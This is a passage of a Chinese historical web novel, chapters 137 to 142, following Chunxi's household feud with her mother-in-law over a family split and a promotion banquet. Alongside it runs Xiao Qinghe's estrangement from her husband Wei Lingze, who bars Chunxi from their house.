从无忧阁的魁首选拔结束到现在,萧清禾也是有时间赶到萧家的。 她今晚到底去了哪里? 萧清禾并没有看卫凌泽,只上前向萧父福身行礼:“父亲。” 萧父已了解事情经过,沉着脸责备:“你回娘家怎么不跟泽儿说一声,连雀枝也不带,害泽儿这么晚还来寻你,你什么时候变得如此任性妄为了?” “女儿知错,求父亲恕罪。” 萧清禾乖乖认错,并不辩解。 萧父是了解这个女儿的,她向来识大体,若不是跟卫凌泽发生了什么不愉快的事,绝不会无缘无故回家来,萧父并没有继续责怪萧清禾,偏头对卫凌泽说:“禾儿被我们宠坏了,还望贤婿多包容她几分,自她出嫁,她母亲偷偷哭了好几次呢。” 萧父说着话里带了叹息。 他不便深问小两口到底发生了什么,只盼着卫凌泽日后能好好待萧清禾,两人把日子过好,比什么都强。 听萧父话里的意思,卫凌泽就知道萧清禾并没有把小产的事说出去,第一时间把责任都揽到自己身上:“不怪禾儿,是我想太多了,这些日子她与沈少夫人走得很近,我怕沈少夫人会带坏她,所以小题大做了。” 卫凌泽刚说完,春喜就溜溜达达地走进来:“侄婿这话是什么意思啊,我好歹给你端屎端尿、尽心尽力伺候了你三年,在你眼里,我难道还变成什么十恶不赦的人了?” 以前卫凌泽觉得那三年伺候是春喜不能被提起的软肋,现在春喜总把这件事挂在嘴上,他才发现这是他不能被提及的难堪过往。 卫凌泽不免恼怒,咬牙道:“我的人查到你买了无忧阁的票去看魁首选拔,你还带着禾儿消失无踪,我难道不该担心吗?” “无忧阁,那是什么地方?侄婿说我买了他们那劳什子的票可有证据?侄婿又是从哪儿知道无忧阁的?” 春喜眨眨眼,一脸的无辜茫然。 卫凌泽怄得想吐血。 他要是有证据,直接就闹到清远侯府,让莫氏以荡妇的罪名休掉春喜了,怎可能在这儿跟她打嘴仗? “你做没做自己心里清楚!” 卫凌泽的语气很凶,但因为没有证据毫无气势,春喜当即委委屈屈地看着萧父道:“表哥,你可要为我做主啊,那个什么无忧阁一听就不是什么好地方,侄婿这样污蔑我,让我以后怎么见人啊。” 春喜说完还跺了跺脚,没有小女儿的娇俏,全是威胁。 萧父还记得她大闹萧老夫人寿宴的样子,最近也听过她不少事迹,他眼皮跳了跳,莫名害怕春喜一个不满意在萧家闹起来。 想到萧老夫人对沈清渊的偏爱,萧父轻咳一声,低声训斥卫凌泽:“泽儿,她毕竟是你的小婶婶,你不该如此与她说话。” “岳父说的是,可我真的查到她……” “侄婿口口声声说查到我跟无忧阁有来往,尽可拿出人证物证,亦或者你今夜亲眼看到我在现场也行,不然今日不给我个交代,我就一头撞死在这里。” 春喜底气很足,这话说完便又抱着柱子要寻死。 卫凌泽还想再说什么,沈清渊在下人的指引下走进来,见春喜如此,当即冷了脸色看向卫凌泽:“不知内子做错了什么,侄婿要逼她去死?” 卫凌泽:“……”??? 她这明显是在撒泼,老东西你眼瞎了看不出来? 卫凌泽忍不下这口气,又把春喜去无忧阁买票的事说出来,他本以为同为男人,沈清渊肯定会怀疑发怒,谁知沈清渊竟然一点儿反应都没有,语气平静地问:“侄婿可有证据?” “……” 卫凌泽被噎得忍不住翻了个白眼,不过转念一想又觉得很正常,沈清渊和春喜只是假扮的夫妻,他们又没有夫妻之实,沈清渊不在乎春喜去找小倌也很正常。 说不定就是因为沈清渊一把年纪满足不了春喜,所以春喜才去无忧阁找乐子呢? 这般想着,卫凌泽满腔的怒火散去大半,甚至生出两分优越感来,然而下一刻却听到沈清渊说:“爱美之心人皆有之,我与夫人感情甚笃,就算夫人真的去了无忧阁,也只是想看看热闹罢了,侄婿这般紧张,莫不是平日对禾儿不好,所以怕禾儿看到更好的男子就变了心?” 这话戳中了卫凌泽的死穴,他的优越感轰然崩塌。 在没有找到萧清禾这几个时辰里,他确实生出前所未有的慌张,害怕萧清禾会跟别的男人在一起。 哪怕萧清禾只是为了报复,他也接受不了。 卫凌泽恶狠狠地瞪了沈清渊一眼,抓住萧清禾的手说:“我只是担心禾儿的安危,你少挑拨我跟禾儿的感情。” 说完这话,卫凌泽向萧父告辞,带着萧清禾离开。 出门来到马车上,卫凌泽忍不住继续追问:“禾儿,你今天到底去了哪里?” “你既然不相信我,我说什么重要吗?” 萧清禾反问,卫凌泽皱眉,想到云氏的叮嘱,放软语气:“我自然是相信你的,只是曹春喜那个人心机深沉,我怕你被她蒙骗……” “谁对我好谁对我不好我还是能分清楚的,用不着你为我操心。” 萧清禾直接打断,态度很强硬,说出来的话也是夹枪带棒的。 卫凌泽胸口滞闷,但怕刺激到萧清禾让两人的关系更加恶化,只能强行忍住不再吭声。 黑暗中,萧清禾一直紧握的拳头悄悄放开。 应付过去了。 小婶婶说的没错,多看几个男人再面对卫凌泽,就没有那么难过了。 另一边,春喜也跟着沈清渊上了马车,她很是殷勤的拍马屁:“夫君方才好棒啊,既给我撑了腰,又差点气死那个狗东西,我在旁边看着都觉得痛快,不过夫君不是说今晚要和御史台的几位大人一起吃饭吗,怎么这么快就结束了,还知道来萧家接我?” 春喜叽叽喳喳说个不停,沈清渊却始终没有应声。 安静下来后,春喜敏锐地察觉到一丝不对劲,然后就听到沈清渊明显冷沉的声音:“今晚的表演,夫人看得可还满意?” “……”!!! 大人,你是怎么知道的? 第138章 夫人喜欢看人舞剑怎么不与我说? “夫君在说什么,我不太明白。” 春喜还在死鸭子嘴硬,沈清渊幽幽道:“夫人喜欢看人舞剑怎么不直说,为夫虽不擅剑术,却也略通一二。” “……”??? 说好的绝对保密,童叟无欺呢? 我那二百两银子白花了? 天杀的无忧阁,你这样背刺贵客生意是不会长久的! 春喜恼恨无忧阁的不守信用,但很快就替萧清禾担心起来:“这件事我稍后跟夫君解释,夫君能不能先告诉我你是从何得知这个消息的,可还有其他人知道?” “现在知道怕了?” 沈清渊的语气听不出喜怒,春喜小声道:“我只是想让禾儿高兴一下,卫萧两家关系好,禾儿总要给卫凌泽那个狗东西留几分薄面,我看她闷闷不乐,就想着去凑凑热闹,也算是小小的报复一下,无忧阁明明跟我打包票说绝对保密的。” 春喜难得挫败,生怕真的露馅儿害萧清禾被卫凌泽变本加厉地欺负。 沈清渊见她语气低落下去,没再逗她,只道:“没人泄密,无忧阁的东家与萧家颇有渊源,怕你们被吓到露出什么破绽,所以来找我帮忙遮掩一二。” 说着话,沈清渊拿出银票递给春喜:“他自知破坏了规矩,票钱如数退还,还赔了四百两。” 诶? 这样算来,她们今晚白嫖了表演,还倒赚了四百两? 无忧阁这位东家人还怪好的呢。 春喜收起银票,刚刚悬着的心落下来,没了防备,忍不住把自己今晚看到的热闹全都说给沈清渊听。 “这无忧阁贵还是有贵的道理,每个客人单独乘个小舟,互不打扰,而且有什么事只需要在船头挂上灯笼,就会有人来询问是否有什么需要,来给我们送东西那个叫岚舒,长得文文弱弱,声音还挺好听的,不过今晚参加魁首表演那些就各有各的缺点……” “这位东家的身手倒是很不错,只可惜带着面具,不知道长什么样,不过他能来找夫君帮忙遮掩,约莫是个好人,应该不会长得太差。” 春喜嘀嘀咕咕说了一路,沈清渊安静听着,没有搭话,直到春喜说得口干舌燥停下来,才抓住关键问:“所以夫人喜欢声音好听、剑还舞得好的男人?” 这事不是已经过去了吗,夫君你怎么又用这副语气说话? “夫君刚刚不是说你我夫妻感情甚笃,我就是去凑凑热闹也没关系吗?” 春喜试图提醒,沈清渊颔首道:“为夫对夫人的感情自然是日月可鉴,但夫人对为夫似乎并不信任,若不是有人告知,夫人岂不是要瞒为夫一辈子?” “……” 这又不是什么值得骄傲的事,没人告状,自然是不会告诉你的。 春喜自知理亏,低声认错:“夫君,我错了,以后我有什么事一定先与你商量,再不会擅作主张了。” “哦。” 沈清渊只回答了一个字,态度还有点冷淡,春喜顿时浑身都难受起来。 为了让沈清渊消气,夜里春喜不得不使出浑身解数,累瘫在床上。 第二天春喜本想睡到日上三竿才起,结果沈清渊才刚走,院子里就传来凄凄惨惨的哭声。 春喜扶着酸软的腰走出房间,就看见沈清迟跪在院子里哭得梨花带雨。 “好妹妹你哭什么,难道母亲病故了?” 春喜开口就是咒莫氏去死,沈清迟哭声一滞,然后才泪眼朦胧地看着她说:“大嫂,对不起,那日我不该不懂事要你放过婉儿表姐,大嫂做事一直都是有原则有分寸的,我什么都不知道就妄自开口,应该很伤大嫂的心吧。” 沈清迟道歉道得很诚恳,春喜倒是不甚在意:“放心吧,我这颗心硬着呢,没那么容易被伤到,你知道错就起来吧,别跪着了,我腰有点儿不舒服,就不扶你了。” 沈清迟刚站起身,闻言立刻来扶春喜:“大嫂怎么了,可是受伤了?” “没受伤。” 就是被你那个老狐狸大哥折腾了大半夜。 春喜没好意思跟沈清迟说夫妻之间那些事,回到屋里倒了杯水喝,刚咽下去又听到沈清迟问:“大嫂可知大哥跟陛下求了分家的圣旨?” 奉旨分家?这招很高啊,难怪这些日子莫氏和莫芸婉这么安分。 春喜在心里给沈清渊竖了个大拇指,不显山不露水地放下杯子看向沈清迟:“你问这事做什么?” 春喜的语气很温和,沈清迟的眼泪却又滚落下来:“大嫂,你能不能劝大哥不要分家啊,这些年娘是有很多地方做得不好,以后娘都会改的,大嫂应该也知道娘的出身不好,这些年爹又被外面的狐狸精迷得不着家,娘其实心里很苦的。” 春喜赞同地点头,说出来的话却是:“那是你爹的错,妹妹该去找你爹哭去啊,我这个做儿媳妇的,总不能把你爹绑回来跟母亲相亲相爱吧?” 沈清迟再次噎住,她捏紧绢帕,稳了稳心神继续道:“自从大哥说了要分家,娘就病倒了,我昨夜一直守在娘身边,娘烧得迷迷糊糊的都还在说要来向大嫂赔罪,娘如今病得厉害,不能亲自前来,我来替娘向大嫂赔罪,求大嫂不要分家。” 沈清迟说着复又跪下,梆梆梆地磕起头来。 她皮肤娇嫩,没磕几下,额头就青紫一片。 春喜这次没急着叫她起来,等她疼得受不了自己停下来才开口:“你是自愿来找我的还是被母亲逼的?” 沈清迟掐紧掌心。 她虽然没有掌家,但也隐隐约约知道娘侵占了大哥亲娘留下来的嫁妆,自从大哥在京兆府有了俸禄,在衣食住行上对大哥更是苛刻,娘不想分家并不是舍不得大哥,而是怕大哥要娘把这些年私吞的钱都吐出来。 她们其实是不占理的。 沈清迟咬咬牙,哭着说:“是我自己来的,娘真的病得很重,大嫂若是不肯原谅娘,我今日就磕死在大嫂面前!” 最后一句话,带了威胁的意味。 沈清迟说完,不等春喜开口,便又重重地磕起头来,没一会儿,地上就出现一小片赤红血迹,昭示着沈清迟的决心。 春喜在心里叹了口气。 这人啊,若是自己不硬气起来,不仅自己爬不出泥潭,还会把想要帮她的人也拉进去。 “行了,别磕了,起来吧。” 第139章 沈清迟,我让你起来 沈清迟忙着磕头,没听到春喜说了什么,又梆梆磕了几下。 春喜只能拔高声音:“沈清迟,我让你起来!” 沈清迟浑身一震,抬头看到春喜无比严肃的表情,泪水立刻又蓄满眼眶,却还是执拗地问:“大嫂是答应不分家了吗?” “气病婆母、逼死继妹,我不答应难道还要等着京兆府的官差抓我去游街?” 春喜勾唇,露出讥讽的冷笑。 沈清迟虽然知道自己这样做会让春喜寒心,却也受不了她如此尖锐的一面,身子晃了晃,沈清迟小声道:“娘说了以后会对大哥大嫂好的,咱们是一家人,没有必要弄到撕破脸的地步,大哥好不容易才升职,家里还是要和睦才不会让人看笑话。” “你的意思是我们还要感谢你?” 春喜反问,沈清迟脸上一热,心虚地垂下头去。 以前她露出这副模样春喜会觉得心疼,如今再看心里已是毫无波动,她捶了捶腰,冷淡开口:“你还有什么事吗?” “没……没有了。” 沈清迟懦懦回答,然后就听到春喜问:“那你怎么还不走?” 沈清迟猛然抬头,见春喜目光冷寒,毫无温度,心中一阵刺痛。 她的头磕破了,正流着血呢,她本以为大嫂会为她包扎一下的,没想到大嫂竟然直接赶她走。 莫名的委屈涌上心头,沈清迟哭出声来:“大嫂,我知道你对我很失望,但娘毕竟对我有生养之恩,就算娘做错了一些事,我也不能眼睁睁地看着她病倒不管啊。” 沈清迟哭得很伤心,她希望春喜能体谅她的难处,却只得到一句冷冰冰的质问:“妹妹的目的已经达到了,你还有什么不满足的呢?” 春喜平静地看着沈清迟,像是在看着一个顽劣的无理取闹的孩子。 沈清迟在春喜的目光注视下渐渐难堪起来。 她想讨好母亲,但也希望大嫂能像以前那样关心呵护自己。 她做了选择,却不想付出代价。 沈清迟艰难开口:“我……我没什么不满足的,我只是希望大嫂不要对我抱有敌意,我真的从来没有做过伤害大哥大嫂的事。” 春喜敷衍地点头:“我知道了,我腰疼,先回屋躺着了,你若还是不想走,就继续在这儿跪着吧。” 说完这话,春喜真的转身回屋,并且关上了房门。 沈清迟的背脊一寸寸弯了下去,整个人的精气神都像是被人抽走了一样。 让她来求大嫂的确是母亲的主意,但她自己也是有私心的。 大哥如果真的分了家,侯府就完全成了空架子,她的婚事会更加艰难,日后出嫁母亲给她准备的嫁妆恐怕也少得可怜,那她在婆家就豪无立足之地了。 于情于理,她都应该来求大嫂不要分家。 看到春喜如此冷淡的反应,沈清迟整个人都不受控制地慌乱起来,甚至忍不住想自己是不是做错了。 可大嫂虽然拿到了掌家权,但只要擢升宴出一点纰漏,掌家权便又会回到母亲手上,而且大嫂还签下了契书,连已故侯夫人的嫁妆都要还给母亲掌管,大嫂如何斗得过母亲? 更何况,母亲身边还有婉儿表姐帮忙出谋划策,大嫂为了办擢升宴去莫家要债,更是得罪了莫家,外祖母也不会让大嫂好过的。 一番分析之后,沈清迟冷静下来。 她没有做错什么。 大嫂对她虽然好,却不能一辈子护着她,只有娘和二哥三哥才是她的血缘至亲。 等大嫂失去掌家权,她再多关心大嫂一下,就能跟大嫂和好如初了。 这般想着,沈清迟回到主院。 听到春喜答应劝说沈清渊不要分家,莫氏松了口气:“但愿她能有本事劝服那个逆子。” 莫芸婉帮莫氏揉着脑袋安慰:“姑母放心吧,表哥之前一直不在乎这些身外之物,成婚后却像是变了一个人,分明是曹春喜觊觎这些东西,在背后挑拨离间,如今她答应不分家,表哥在自然不会再提这件事。” 莫氏也觉得是这个理,对春喜的厌恶达到巅峰:“当初以为她是个好拿捏的,没想到她竟然如此有手段,等夺回在掌家权,断然不能再留她。” 莫氏眼底杀意凛然,莫芸婉讥讽道:“卫家那么多下人,只有她在卫大少爷身边伺候了三年,姑母怎会觉得她是个软柿子呢。” 莫芸婉这样一说,莫氏不免想起卫凌泽曾当着侯府众人的面,假借沈清渊的名义说要照顾春喜。 孤男寡女,肌肤相亲三年,当真能一点儿感情都没有? 莫氏想到新的对付春喜的法子,她刚想跟莫芸婉商议,见沈清迟还杵在屋里,皱眉道:“别在这儿傻站着了,赶紧去把你头上的伤处理一下,有时间多去问心院卖卖惨,打听一下擢升宴的事。” 从头到尾,莫氏都没有问沈清迟伤成这样疼不疼。 回到自己的屋子,沈清迟趴在床上痛哭了一场。 明明她已经告诉自己没有错,却还是控制不住委屈。 若是……若是大嫂温顺大度一点儿,不要跟母亲对着干、也不要记恨自己就好了。 春喜这个回笼觉睡得有点久,直接错过午饭,下午才起床。 肚子饿得不行,春喜进小厨房炒了一大碗肉酱,然后烧水煮面。 筋道清香的面条裹满颜色鲜亮的酱肉,加上几根菜叶,让人食指大动。 春喜迫不及待地吃了一大口,饥肠辘辘的胃得到满足,眉眼跟着舒展开来。 她正要吃第二口,余光忽然瞥见曹文探头探脑地站在院子外面。 她咽下嘴里的东西,朝曹文招招手,曹文犹犹豫豫地走过来。 “找我什么事?” 春喜直接问。 沈清渊上次跟曹文说过回来的时间,他这个点儿来,明显不是找沈清渊问问题的。 曹文抿唇,脸上全是犹豫纠结。 春喜也不催他,自顾自地继续吃面。 她是真的饿了,一口接一口吃个不停,看得曹文止不住跟着咽口水。 等她吃得差不多了,曹文才小声开口:“贾嬷嬷之前让我拿了一个镯子和一对耳坠给娘,还让我跟娘说是你给的,让娘一定要戴着这两样东西来侯府参加擢升宴,贾嬷嬷不让我跟你说。” 被冷落太久,曹文都不叫阿姐了。 春喜顿住,终于抬头看着曹文:“贾嬷嬷不让你说,那你为什么又说了?” “我不知道,我就是很害怕,我怕她们会害你。” 曹文皱紧眉头,表情茫然又担忧。 虽然他来侯府以后,阿姐对他一点儿也不好,连念书的钱都要他写欠条才给,但在青松学堂,他被人欺负诬陷,是阿姐为他出的头,后来还帮他找了更好的书院念书。 他想努力读书出人头地让阿姐后悔,但不想阿姐被恶人陷害。 春喜放下筷子,轻声问:“肉酱还有多的,要不要吃碗面?” “要,谢谢阿姐!” 怔愣之后,曹文的心脏砰砰直跳。 来侯府这么久,这是阿姐第一次煮东西给他吃。 这是不是代表这件事他做对了? 第140章 为夫还知道别的法子 等沈清渊从御史台回来,春喜第一时间跟他说了沈清迟来过的事。 沈清渊神色淡淡:“所以你现在是想劝我不要分家?” 莫芸婉有一点没有猜错,沈清渊对分家没什么执念,他做这些不过是想更好地保护春喜,不让她受委屈。 如果春喜现在不想分家,他也有别的办法保护她。 只不过要多费点心神罢了。 “当然不是,”春喜拔高声音,一脸的义正辞严,“今日母亲能让妹妹用性命逼夫君不要分家,他日就能故技重施逼夫君休了我,这怎么能行!” 她白日口头答应沈清迟不过是缓兵之计,不想沈清迟真的磕死在问心院。 见春喜这般拎得清,沈清渊放心下来,配合地问:“那夫人打算怎么做?” 春喜招招手,示意沈清渊凑近些。 “我是这么想的,这个家是一定要分的,这些年的账也要当众算清楚,不能白白吃亏,这次擢升宴就是最好的时机。” 春喜已经想好要怎么解决这件事,她把大概的计划跟沈清渊说了一遍,问:“夫君觉得可行吗?” 沈清渊点点头:“此计虽算不上天衣无缝,但有为夫配合,夫人尽可放手去做。” 沈清渊语气沉稳,有着运筹帷幄的淡然,好像不管发生什么,他都能给春喜托底。 春喜眼眸一弯,飞快地亲了沈清渊一下。 “我就知道夫君最好了。” 沈清渊的眸子瞬间变暗。 他知道自己回京这些日子实在放纵了些,可素了那么多年,突然吃到肉,还难得有假,他很难克制住。 沈清渊抱起春喜来到床上,没一会儿就乱了呼吸,正想进入正题,春喜突然推开他说:“不行,我来月事了。” “……” 看着春喜眼底一闪而过的狡黠,沈清渊的太阳穴突突地跳了两下。 这个小妮子是故意的! 她早就知道来了月事还要招惹他,分明是报复他这些日子闹得太过火。 沈清渊不觉得生气,反而觉得春喜这有仇必报的样子越发可爱。 他叹了口气,正想翻身躺下平复一番,又听到春喜故意放软的声音:“夫君,我不是故意的,实在是我也喜欢夫君,想与夫君亲近,夫君不会生气吧?” 春喜眼底的笑意都快藏不住了,若她是狐狸,这会儿狐狸尾巴都该揺出残影了。 沈清渊的身子越发紧绷,他咬了咬牙,有些恶劣地凑到春喜颈间低嗅。 “为夫自是不会生夫人的气,夫人若是愿意,为夫也可教夫人用别的法子疏解。” “……”!!! 春喜眼眸微睁,浑身都跟着僵滞。 别的法子?什么法子?大人你是又研究了什么邪门歪道!? 得意洋洋的小狐狸吓呆了。 沈清渊忍不住笑出声,揉了揉春喜的脑袋说:“逗你的,别怕,身子不舒服就好好休息,我还没饥渴到这种程度。” 说着话,沈清渊起身去了厨房,没一会儿端来一碗热气腾腾的红糖姜水。 春喜身体好,没有痛经的毛病,过去这些年她在卫家做事更是没有矫情的资格,看到这碗红糖姜水她忍不住有点怔。 之前她赎身回家,来月事的时候王氏也不曾这般关心过她。 怕情绪会崩,春喜低下头避免和沈清渊对视。 沈清渊怕她误会,主动解释:“别多想,我在京兆府断案近十年,对女子的事比一般男子多了解一些也很正常。” 春喜点点头,端起那碗红糖姜水全部喝掉。 熄灯后,沈清渊又抱着春喜帮她揉腰。 春喜眼眶发热,环住沈清渊的腰把脑袋埋在他胸膛,闷声道:“夫君,等过些日子,我们一起去给我爹上个香吧。” 沈清渊动作没停,沉沉道:“好。” —— 第二天,春喜就找沈清迟商议起擢升宴的事来。 春喜的态度似乎又和从前一样,全然没有昨日的冷淡疏离,沈清迟有些不确定地问:“大嫂,你不生我的气了吗?” “我本来也没有生气呀,可能是我昨天腰疼不舒服,加上来了月事,所以脾气不大好让你误会了。” 春喜语气轻快,神态也自然,瞧不出半点儿芥蒂。 沈清迟暗暗舒了口气,心情跟着好起来:“大嫂没生气就好,说到底咱们是一家人,断没有一家人不和睦叫别人看笑话的道理。” 沈清迟说着拿出一份早就列好的宾客名单给春喜:“这是我前几日列的宾客名单,大嫂可以参考一下。” 沈清迟的名单列得很详细,不仅标注了这些人和侯府的关系,还标注了他们跟谁有过节,座位不能安排在一起。 春喜露出感动之色:“妹妹这名单列得可真详细,真是帮我大忙了。” 沈清迟捏紧绢帕,眉眼微垂,半是紧张,半是愧疚。 这份宾客名单大多数都是真实的,但有几个结了怨的,被她标注可以安排坐在一起,大嫂对这些世家大族了解不多,应该看不出来问题,但擢升宴那日就不知道会出什么情况了。 若是这些人因为一点摩擦吵闹起来,别人都会笑话大嫂没见识,没有好好花心思操办宴席。 虽然大嫂已经答应劝大哥不要分家,但这掌家权还有已故侯夫人留下来的嫁妆还是握在娘手里更加稳妥些。 她这样做也是为了这个家不要散。 沈清迟安慰了自己一番,柔柔道:“只要能帮上大嫂就好,对了,过去这些年府里办宴席都是在几家口碑比较好的铺子定瓜果点心和酒水,我与那些掌柜也认识,应该能拿到优惠的价格,大嫂若是信得过,我可以陪大嫂一起去看看。” “这当然好啊,这些日子我忙着清算府里的账目,都没时间想这些,幸亏有妹妹替我想着,既然妹妹对操办宴席如此熟悉,不如就把擢升宴定在半个月后吧,我看那天日子挺好的,早点办完我也能轻松些。” 春喜语气轻快,满满的都是得到助益的高兴,沈清迟越发用力地掐住掌心,面上却道:“好,都听大嫂的。” 第141章 曹春喜和狗不得入内 第二日,春喜就和沈清迟一起去逛了那几家铺子。 出于对沈清迟的信任,春喜相当爽快地付了定钱,而后又带着沈清迟去买胭脂水粉还有首饰和头面。 在春喜拿着一只纯白玉镯往自己手上比划的时候,沈清迟忍不住开口:“我也没做什么,大嫂不用给我买这么多东西。” 虽然沈清迟一再安慰自己这样做没有错,但面对春喜,她还是控制不住的愧疚。 春喜不以为然:“这才哪儿到哪儿呀,自我嫁入侯府,妹妹就处处在帮我,这次更是帮了我大忙,我用省下来的钱给妹妹买点儿东西不是理所应当的吗?” 说着话,春喜把玉镯戴到沈清迟腕间,由衷夸赞:“妹妹皮肤白,手腕又纤细,戴这镯子真好看。” 沈清迟也觉得很好看,一颗心却被愧疚折磨,像是被架在火上烤。 春喜全然不知她的煎熬,继续道:“母亲不待见我,妹妹却私下这样帮我,若是被母亲知道,定然是会怪罪妹妹的,妹妹不必害怕,如今掌家权已经在我手上了,我不会再让妹妹受委屈的,不仅如此,我还会精心挑选个妹妹喜欢又值得托付的夫郎。” 春喜给出承诺,明亮的眸子似有火焰,灼得沈清迟面颊滚烫。 她垂下眼睑避开春喜的视线,像是害羞一般嗔怪道:“大嫂,别说了。” 她藏住了眼底的心虚,却也错过了春喜眸底的冷意。 春喜收回手,淡淡道:“好了,知道你脸皮薄,我以后都不说了。” 宴席的事宜一项项筹备好,春喜很快和沈清迟一起做好请柬,送往各府宾客手中。 萧家的请柬春喜是亲自送到萧夫人手中的,她还顺道去谢了萧老夫人。 “舅母找的那些掌柜真是个顶个的厉害,我把铺子接手过来后,一点儿岔子都没出,婆母反而还把掌家权一并交给了我,要是没有舅母帮忙,我现在还两眼一摸瞎呢。” 萧老夫人也为春喜高兴,但听到莫氏交出了掌家权又有些狐疑:“你婆母怎会如此轻易交出掌家权?” “婆母病了,连夫君的擢升宴都操持不了,哪里还有精力管府里的杂事啊,我这个做儿媳妇的自然要站出来帮婆母分忧呀。” 春喜语气轻快,表情带着两分得意,萧老夫人和萧夫人瞬间明白是她顺竿上爬夺了莫氏的掌家权,两人皆被逗笑。 笑完萧夫人又忍不住提醒:“你那婆母愿意交出掌家权,定然是想借擢升宴让你出丑,然后再拿捏你,你可有应对之策?” 春喜点点头:“我与夫君商议过了,擢升宴上婆母一旦发难,我与夫君就会趁机提出分家,正好当众把这些年的账也算一算,舅母和表嫂到时也能做个见证。” 萧老夫人早就看不惯莫氏侵占属于沈清渊的财物还要败坏沈清渊名声的作为,听到春喜说要分家,当即高声道:“好!你那婆母这些年越发贪得无厌了,你就该当众与她算算账!” 得了萧老夫人的支持,春喜像是得了尚方宝剑,又说了好一会儿话,哄得萧老夫人眉开眼笑,才告辞离开。 春喜走后,萧老夫人的唇角仍是止不住地上扬。 萧夫人忍不住感慨:“之前我还不太看好这桩婚事,如今看来渊儿真是娶对人了,他们小两口有商有量的,分府出去单过,日子定能比之前过得更红火。” 萧老夫人亦是欣慰:“渊儿之前对谁都是疏离寡淡的,唯独对这丫头不一样,他在京兆府断了那么多年的案,什么牛鬼蛇神没见过,能入他眼的姑娘自然不会差。” 萧夫人点点头,想到萧清禾在卫家日渐消瘦,不由得染上愁绪。 若是卫凌泽没有出事,禾儿与他也该是琴瑟和鸣的恩爱夫妻,可如今两人时不时的冷战置气,禾儿还瞒着不让家里知道,这样下去可如何是好? 萧老夫人一眼就看出萧夫人心中所想,也忍不住在心里叹了口气。 萧夫人这个当家主母哪哪都好,就是在儿女之事上心太软,若是萧老夫人还在掌家,三年前宁可豁出老脸不要,被孙女怨恨,也要棒打鸳鸯退了和卫家的婚事。 如今尘埃落定,再后悔也无用了。 萧老夫人淡淡开口:“春喜这丫头有些本事,她才与禾儿相处了几日,上次禾儿回家,瞧着精神就好了不少,日后两人多走动,禾儿受到感染也会活得更通透些的。” 萧夫人点点头:“是啊,我也盼着禾儿能像春喜这样,不管遇到什么事都能积极乐观地面对。” 春喜并不知道萧夫人和萧老夫人如今对自己的评价这样高,出了萧家,她便又去了卫家送请柬。 然而到了门口却被门房拦下:“少夫人出门不在家,这请柬小人会转交给少夫人的,沈少夫人还是请回吧。” 春喜前两次来还给门房拿了赏钱,因此门房对她的态度还算温和。 春喜没有怀疑,颔首道:“没关系,我有时间,可以进去慢慢等。” 上次一别又有好些天了,春喜想看看萧清禾的状态如何。 然而门房却说:“少夫人今日不知什么时候会回来,沈少夫人还是不要干等了吧。” 卫家待客向来礼数周到,即便是送请柬来的下人,都会迎进去吃茶招待一番,她专程来送请帖却不被允许入内,哪有这样的道理? 春喜察觉到不对劲,睨着门房:“这是卫夫人的意思还是你们少夫人的意思?” 门房也觉得这样做很无礼,咬咬牙低声道:“沈少夫人就别为难我们了,是大少爷下了令,不能让你再去见少夫人。” 那夜卫凌泽虽然没有抓到春喜的现行,却对春喜生出了十二分的警惕,他的原话说的是,从今以后,曹春喜和狗都不能踏入卫家半步。 门房自然不敢把这样的话说给春喜听,只能赔着笑劝春喜离开。 春喜倒也没有为难他,把请帖交给他就离开了。 没多久,萧清月坐着马车来卫家看望萧清禾,把春喜被堵在门外的事原原本本告诉萧清禾。 夜里卫凌泽从宫里下值回来,就见书房亮着灯,萧清禾眉眼冷寒的坐在屋里。 第142章 卫郎最好心口如一 “夫人今日怎么有兴致来我的书房?” 片刻的诧异后,卫凌泽走进屋里。 那夜萧清禾虽然跟他一起回了家,却像是躲瘟疫似的躲着他,这几日卫凌泽都睡在书房,两人虽都住在一个院子,却连碰面都很少。 萧清禾并不跟他绕弯子,直接问:“你为什么不让小婶婶见我?” 那夜回来后,萧清禾让雀枝递了两次信想约春喜见面,但得到的回应却是春喜最近很忙,没有时间见她,如今看来,那两次消息应该都是卫凌泽派人拦下了。 如果不是春喜今日来送请柬,发现情况不对,萧清禾只怕会被一直蒙在鼓里。 卫凌泽已经猜到萧清禾是因为这件事来的,他丝毫没有被戳穿的心虚愧疚,坦然道:“她出身低贱,言行又粗鲁无状,我让你们少来往也是为了你好。” 为了她好? 萧清禾气得想笑:“卫凌泽,你有什么资格说为我好?” 强迫她同房,还害她没了个孩子元气大伤,哪一件事是为她好? 萧清禾眸底浮起恨意,卫凌泽有些不耐烦地皱紧眉头:“我已经去云山寺为那孩子超度过了,大夫都说了那孩子月份尚小,你与它又没有感情,你还要揪着这件事到什么时候?” 卫凌泽话里满是薄凉。 他丝毫没有害死自己亲生骨肉的愧疚,好像萧清禾这段时间都是在无理取闹。 萧清禾怔怔地看着他,只觉得浑身发寒。 之前她只觉得卫凌泽变了,没有以前对她体贴入微,没有以前行事坦荡磊落,可虎毒还不食子呢,一个人连自己的骨肉至亲都不在乎,这世上还有什么是能被他放在心上的? 萧清禾不愿跟卫凌泽吵,她沉默许久开口:“我不是要揪着孩子的事不放,我只是想提醒你,我是卫家的大少夫人,是将来的卫家主母,你无权限制我的日常交际,如果你非要如此,我会请母亲为我主持公道。” 萧清禾的态度很强硬,卫凌泽的眉头皱得更紧:“你就非要跟曹春喜来往吗?为了她还要闹到母亲面前让母亲为我们担忧?禾儿,你什么时候变得这么不识大体了?” 说到最后,卫凌泽的语气和眼神都变得失望。 若是萧清禾还爱着他,定然会心痛万分,说不定还会反省自己这样做是不是真的很不好,但现在萧清禾早就死心,听到这话只觉得可笑。 “卫郎在说我之前,是不是应该先好好审视一下自己,你还记得自己之前是什么样的吗?” “我为什么会变你难道不知道?” 卫凌泽反问,眼底带着两分高高在上的得意。 萧清禾能拿孩子的事指责他,他也能用过去三年无数个难熬的日日夜夜来指责萧清禾。 虽然萧家没有退婚,萧清禾也没有变心,但萧家推迟婚约,萧清禾不曾亲自守在他身边照顾,那就是对他们感情的背叛。 她不能怨恨他变得和从前不一样。 果然,卫凌泽这话一出,萧清禾就蹙眉露出痛苦之色。 卫凌泽还想继续规训,下一刻却听到萧清禾说:“卫郎,不是我害你受伤的,相反,过去三年,我想了无数办法,只希望你能好起来,该为你的苦难付出代价的是伤害你的人而不是我。” 萧清禾的神情仍是痛苦的,眼神却明亮又坚定。 她不再将对记忆中那个少年的爱延续到卫凌泽身上,甚至从对他的亏欠愧疚中走了出来。 小婶婶说得没错。 她从来都不欠卫凌泽什么。 年少的卫凌泽热烈赤诚地爱过她,她也给出了同样的回应,如今卫凌泽变了,她也不该一错再错。 